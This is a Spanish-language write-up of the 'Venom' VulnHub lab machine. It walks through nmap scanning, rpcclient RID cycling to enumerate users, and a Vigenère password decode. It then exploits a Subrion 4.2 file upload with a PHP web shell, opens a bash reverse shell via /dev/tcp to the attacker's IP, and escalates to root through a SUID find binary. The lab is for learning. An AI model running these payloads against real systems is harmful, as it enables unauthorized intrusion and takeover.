En esta ocasión tenemos el writeup de la maquina venom de Vulhub.
Reconocimiento Inicial en el writeup
arp-scan -I enx002432247ea7 --localnet --ignoredups
Vemos que tenemos la IP 192.168.1.225
Ahora lanzamos una traza para ver si tenemos conexión con la máquina
ping -c 1 192.168.1.255
Vemos que tenemos conexión y el «ttl=64», osea que nos enfrentamos a una maquina Linux.
Reconocimiento con nmap
Vamos a aplicar un reconocimiento y exportar todo a un archivo «grepeable».
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.68 -oG allPorts
Vemos que tenemos varios puertos abiertos así como el FTP por el puerto 21,el https por el puerto 443 y el samba por el 445 entre otros.
Ahora copiamos todos los puertos a la clipboard del archivo con la función **extractports** y creamos otro reconocimiento mas exhaustivo con estos puertos en nmap.
nmap -p22,80 -sCV 192.168.1.68 -oN targeret
Para la versión de FTP si hacemos un
searchsploit vsftpd 3.0.3
podemos observar que es vulnerable a un ataque de negación de servicio.
Vemos también que tenemos el puerto 443 y podemos conectarnos a él ejecutando
openssl s_client -connect ip:443
aunque en este caso no tiene mucha relevancia.
Si nos centramos en el puerto 80 y vamos al navegador para ver que hay, vemos un mensaje a pie de pagina como podemos ver en la imagen.
Vamos a ver el código fuente vemos el hash justo en el mensaje.Podemos ir a la web https://crackstation.net/ para descifrarlo.
Podemos observar que el mensaje dice **hostinger**.
RPC RID Cycling Attack
Por otro lado Como hemos visto que teneos el puerto **139** habilitado vamos a hacer un «»NULL SESSION»» con **rcpclient**
rpcclient -U "" 192.168.111.42 -N
Una vez echo lanzamos dentro de la conexion **srvinfo** y podemos ver detalles del servicio **SAMBA** por tanto tenemos la oportunidad de enumerar usuarios.
Podemos hacerlo de dos formas:
- Podemos usar **enum4linux** ejecutando
enum4linux -U 192.168.1.225
Con esto lista los usuarios
-
Esto también lo podemos hacer por fuerza bruta y es más efectivo.
Si aplicamos la flag «-c» con «rpcclient»
podemos poner un comando de forma interactiva por ejemplo.rpcclient -U "" 192.168.1.225 -N -c "srvinfo"
Ahora aplicamos la flag «-help» y filtramos el «sid»
rpcclient -U "" 192.168.1.225 -N -c "help" | grep sid
Podemos observar que para enumerar usuarios del sistema tenemos **lsaenumsid Enumerate the LSA SIDS**.
Ahora esto lo ponemos como comando interactivorpcclient -U "" 192.168.1.225 -N -c "lsaenumsid"
y obtenemos una salida como esta
found 6 SIDs S-1-5-32-550 S-1-5-32-548 S-1-5-32-551 S-1-5-32-549 S-1-5-32-544 S-1-1-0
Si utilizamos «lookupsids» con algun dato de esta salida como por ejemplo «S-1-5-32-550»
rpcclient -U "" 192.168.1.225 -N -c "lookupsids S-1-5-32-550"
nos dice **S-1-5-32-550 BUILTIN\Print Operators**, osea que pertenece a un grupo.
Si ahora empezamos a enumerar por ejecutando:
**rpcclient -U «» 192.168.1.225 -N -c «lookupsids S-1-5-32-551″**
**rpcclient -U «» 192.168.1.225 -N -c «lookupsids S-1-5-32-552″**
**rpcclient -U «» 192.168.1.225 -N -c «lookupsids S-1-5-32-553″**
nos van saliendo diferentes grupos.
Como vemos que esto todos tienen el 32 en común, por tanto podemos empezar a decirle que empiece desde 0.Creando Ataque de fuerza Bruta
Para aplicar un ataque de fuerza bruta vamos a generar una secuencia del 1 al 100 y vamos a jugar con hilos con el comando «xargs»
seq 1 1000 | xargs -P 50 -I {} rpcclient -U "" 192.168.1.225 -N -c "lookupsids S-1-5-32-{}" | grep -v "unknown"
Al aplicarlo vemos una salida como
S-1-5-32-544 BUILTIN\Administrators (4) S-1-5-32-546 BUILTIN\Guests (4) S-1-5-32-548 BUILTIN\Account Operators (4) S-1-5-32-545 BUILTIN\Users (4) S-1-5-32-550 BUILTIN\Print Operators (4) S-1-5-32-547 BUILTIN\Power Users (4) S-1-5-32-549 BUILTIN\Server Operators (4) S-1-5-32-553 BUILTIN\RAS Servers (4) S-1-5-32-554 BUILTIN\Pre-Windows 2000 Compatible Access (4) S-1-5-32-552 BUILTIN\Replicator (4) S-1-5-32-551 BUILTIN\Backup Operators (4) S-1-5-32-557 BUILTIN\Incoming Forest Trust Builders (4) S-1-5-32-555 BUILTIN\Remote Desktop Users (4) S-1-5-32-556 BUILTIN\Network Configuration Operators (4) S-1-5-32-560 BUILTIN\Windows Authorization Access Group (4) S-1-5-32-561 BUILTIN\Terminal Server License Servers (4) S-1-5-32-559 BUILTIN\Performance Log Users (4) S-1-5-32-558 BUILTIN\Performance Monitor Users (4) S-1-5-32-562 BUILTIN\Distributed COM Users (4) S-1-5-32-569 BUILTIN\Cryptographic Operators (4) S-1-5-32-573 BUILTIN\Event Log Readers (4) S-1-5-32-574 BUILTIN\Certificate Service DCOM Access (4)
Esto son grupos y lo que buscamos son usuarios.
En este punto igual que hemos usado **lookupsids** podemos usar **lookupnames** y pasarle el nombre de «root» por ejemplo que sí esta siempre en la maquina.
Lo hacemos de la siguiente manera.rpcclient -U "" 192.168.1.225 -N -c "lookupnames root"
y nos devuelve **S-1-22-1-0**.
Mas arriba cuando hemos echo el **lookupsids** vemos que teníamos el **S-1-5-32-551** por tanto tenemos uno nuevo que probar igual que antes hemos hechorpcclient -U "" 192.168.1.225 -N -c "lookupsids S-1-22-1-0" rpcclient -U "" 192.168.1.225 -N -c "lookupsids S-1-22-1-1"
así sucesivamente y en este punto podemos empezar a ver usuarios.
Ahora vamos a ejecutar otra secuencia como anteriormente para poder descubrilos todosseq 1 1500 | xargs -P 50 -I {} rpcclient -U "" 192.168.1.225 -N -c "lookupsids S-1-22-1-{}" | grep -oP '.*User\\[a-z].*\s'
Hemos descubierto dos usuarios nuevos que son **nathan** y **hostinger** que justo es el mismo usuario que la password que hemos descubierto anteriormente.
Conexión por FTP
Ahora vamos al ftp y nos conectamos con usuario y password hostinger
ftp 192.168.1.225
Aquí podemos apreciar un archivo llamado hint.txt.
Si ejecutamos unget hint.txt
nos traemos el archivo al directorio actual de trabajo y ahora vemos lo que contiene
Hey there…
T0D0 —
You need to follow the ‘hostinger’ on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
some knowledge of cipher is required to decode the dora password..
try on venom.box
password — L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator passwordSiguiendo las instrucciones del archivo desencriptamos en base64 lo que aparece y parece ser que «venom.box» es un dominio que deberíamos de poner en nuestro **/etc/hosts**
Ahora vamos a ir a https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode(‘hostinger’)&input=TDdmOWw4QEojcCVVZStRMTIzNA y elegimos «vigenere decode», ponemos como key «hostinger»,copiamos la pasword «L7f9l8@J#p%Ue+Q1234» y nos da como output «E7r9t8@Q#h%Hy+M1234»
Ahora nos logueamos como «dora» con esta password «E7r9t8@Q#h%Hy+M1234» en el domino «venom.box» que hemos echo que apunte a nuestra ip en el **/etc/hosts**
Vamos a aplicar un pequeño reconocimiento de la palicacion web con **whatweb**.whatweb venom.box
Vemos que es un **Subrion 4.2**
si hacemos unsearchsploit Subrion 4.2
tiene una vulnerabilidad **arbitrary file upload** que se convierte en un **RCE**.
Explotando Arbitrary File Upload para conseguir un RCE
Si echamos un vistazo al exploit vemos que sube un archivo a la url **http://venom.box/panel/uploads/#elf_l1_Lw**
Esto es el panel del gestor de contenido que se ve de esta manera.Para simplificarlo podemos crear nuestro propio exploit. Para que funcione es importante añadir la extension «.phar» ya que en el .htacces del gestor de contenidos
tuvieron en cuenta con esta versión muchas extensiones para que no se ejecutasen pero la «.phar» no y con esta se puede ejecutar código php.
Ahora en el archivo escribimos<!--?php system($_GET['cmd']);?-->
Ahora subimos el archivo y en esta ruta
«http://venom.box/uploads/rce.phar?cmd=whoami» ya tenemos ejecución de comandos remota, por lo tanto para ganar acceso podemos enviarnos una shell.
Para ello nos ponemos en escucha por el puerto 4646 por ejemplonc -nlvp 4646
y ahora en la url ejecutamos
**http://venom.box/uploads/rce.phar?cmd=bash -c «bash -i >%26 /dev/tcp/192.168.1.211/4646 0>%261″**
¡Ya estamos dentro!Tratamiento de TTY
Para tener una consola totalmente funcional hacemos
script /dev/null -c bash control z stty raw -echo; fg reset xterm export TERM=xterm stty rows 45 columns 190
Escalada de Privilegios
Estamos como el usuario **www-data** pero como sabemos del usuario hostinger migramos a el ya que la password es hostinger también.
Podemos mirar por el archivo «.bash_history» y ahí vemos que hay un «cat /var/www/html/subrion/backup/.htaccess».
Si vamos aquí vemos la password del usuario «nathan».
Ahora migramos a «nathan» y vamos a buscar los archivos con privilegios «SUID».find / -type f -perm -4000 2>/dev/nul
Vemos que el comando «find» que tiene permisos «SUID», si vamos a gtfobins podemos comprobar que podemos escalar privilegios ejecutando
find . -exec /bin/sh -p \; -quit
¡y ya somos root!
Ya estaría listo este writeup de la máquina venom, puedes encontrar la máquina en el siguiente enlace https://www.vulnhub.com/entry/venom-1,701/
También puedes ver el articulo Hacking Ético Descubriendo este Mundo